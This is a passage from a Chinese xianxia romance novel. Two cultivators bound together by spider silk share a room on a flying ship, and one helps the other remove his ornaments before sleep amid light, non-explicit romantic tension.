“如果是这样,我不如撞死在豆腐上,”玉枝淮伤心地想,“幸好他认不出我,否则按照我俩那势同水火的架势,他得当场把我就地正法,直接弄死。”
事情已成定局,无法改变,医修离开后,房间里又陷入了一场沉默,头顶星光闪烁着,烛边泪珠垂落,天色渐渐晚了。
忽然,萧无桐抬眸,眯起眼睛,似乎起疑,“你往日里不是挺多话么?怎么现在寡言少语了?”
蛛丝让二人之间的距离不得分离半米,玉枝淮坐在他不远处,捧着小脸,闻言蔫蔫道:“哭有用吗。”
萧无桐一顿。
玉枝淮却没注意到他这奇异的停顿,只是夜色已深,小废柴的身体不像萧无桐那么强大,修为也没那么高深,困意很快席卷了他的神识,语气也有点迷糊,“所以你要睡了吗……”
他是真困了,鸦羽似的长睫一眨一眨,冰蓝色的眼里都聚起薄薄的水雾,衬得那眼眸像是海底深处深藏的宝石,璀璨迷人。
萧无桐闻言,终于把目光从玉枝淮脸上收回,淡淡起身,“本座不需要睡眠。”
玉枝淮嘴一瘪,许是困得神志不清醒了,少年的声音有点不自觉的软,“但我需要啊……喂你别拉我!”
萧无桐起身的动作使得玉枝淮也被牵引起来,迷迷糊糊跟着他走。
玉海飞船给萧无桐安排的虽然是最好的房间,但架不住船主是个爱钱的商人,他为了做出更多的好房间卖钱,因此,这房间设得不算很大,床榻落在窗边,看上去睡两个大男人有点勉强。
萧无桐步子迈得大又走得快,玉枝淮下意识地跟着小跑,不料跑着跑着突然撞上了萧无桐的脊背,哎呀一声,鼻子都撞红了,回过神来的他怒瞪着萧无桐,“你怎么走着走着就停了?”
萧无桐转过身,薄薄的嘴唇抿成一条线,而后抬起一只手,提溜着玉枝淮,把他放在那床榻上,翻开被褥,从头到脚,给他盖上了。
两人的体型差本就偏大,萧无桐这动作做得轻而易举,像是在拎一只顽皮的猫,玉枝淮却差点被闷晕过去,伸出手把被子划拉下来,幽怨的盯着萧无桐,“兄……”
本想下意识刺他两句怎么把弟媳乱提乱放,却忽然又想起白日里萧无桐的威胁,玉枝淮硬生生的改了个称呼,干巴巴道,“你不睡吗。”
萧无桐抬眸,“你没听见我刚才说什么?”
玉枝淮闻言一愣,缓慢地回想起方才萧无桐说不需要睡眠的话,当即哦了一声,也不和萧无桐纠结了,又倒下去。
可奇怪的是倒下去后,那睡意反而没了,玉枝淮清醒无比,并且还能感受到自己身上这些配饰有点硌人。
在他辗转反侧两次后,床榻前守着他的萧无桐说话了,“睡不着就起来。”
他不知从何处弄来一个凳子,坐在床榻前,一只手和玉枝淮绑在一起,另一只手竟然拿了本书,在烛光灯下看。
书籍一直被法力翻动着,一页又一页,玉枝淮从被子里钻出来,耳根微微有点红,显然对自己接下来要说的话感到了羞赧,“我不是睡不着。我是,被硌了。”
萧无桐眉头皱起,抬眸一看。
玉枝淮指了指自己这身叮铃咣当的小玩意,还有脑袋上没拆的头冠。
萧无桐:“……”
单手自然是不好拆的,背过身去也不现实,玉枝淮的直觉让他不想在萧无
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桐面前宽衣解带,衣袍下的手微微攥紧,有点心虚的要求道:“你可以闭……”
“起来。”萧无桐倏然起身,烛光映得他的影子像座山,笼罩了床前。
“啊?”
玉枝淮诧异抬眸,紧接着脑海里面冒出一个古怪至极的想法:萧无桐这是要帮他脱吗?
那可真是让人悚然了,玉枝淮已经记不得上次萧无桐给他脱衣服是什么时候了,但指定是刚出剑窟那会,后来他大了,衣柜不归萧无桐管了,也学会了自己绑腰带弄头发——再不济还有豹猫帮他呢,反正是不会叫萧无桐帮他脱了。
玉枝淮恍恍惚惚的站起来,站在床上的他勉强有萧无桐高了,可不知怎么的,心脏先狂跳起来,一时间也不知道怎么拒绝,许是困得很了,他竟然忘了还能用灵力解,只懵懵懂懂的展开手臂——
腰带上挂了玉佩、小铃铛,一碰叮当响,以前小剑灵少年时喜欢这么穿,后来不喜欢了,转而用一身黑代替,阴墟的人还说萧无桐衣品不行,让玉枝淮别跟坏的学。
阴墟有很多百姓,有的人会雕刻小木偶,有的人会刻玉佩,刻的都是玉枝淮或者亲友的样子,玉枝淮最开始觉得丑,可后来他们越刻越好看,那时他刚去阴墟没两年,年纪又小,见一个爱一个,把一堆‘小玉枝淮’‘小萧无桐’……都挂在自己挎的小包或者腰带上。
有一次萧无桐给他解衣服,边解边问,“身上放这么多,不重吗?”
玉枝淮歪着头,眨着眼睛:“不重啊!你是不是不想给我脱?”
少年萧无桐仔仔细细地帮他解开了,无奈道,“我这不是怕累着你吗?”
那时候萧无桐尚且还有点活人气,现在……
玉枝淮垂眸看了眼一直冷着脸的萧无桐,觉得他这驴脾气没救了。
头冠、腰带、配饰都解完了,玉枝淮披散着头发,看上去无端乖了很多。
他想了想,对萧无桐道,“……谢谢剑尊大人。”
萧无桐微微眯起眼,垂头看了眼乖乖把自己塞进被窝的玉枝淮,指尖仿佛还残留着方才触到那温润肌肤的暖意。
忽然,他说:“你不帮我脱吗?”
玉枝淮疑惑地从被褥里探出个小脑袋,扭头看着他:“……???”
这人这么善变的吗?!不是说不需要睡眠?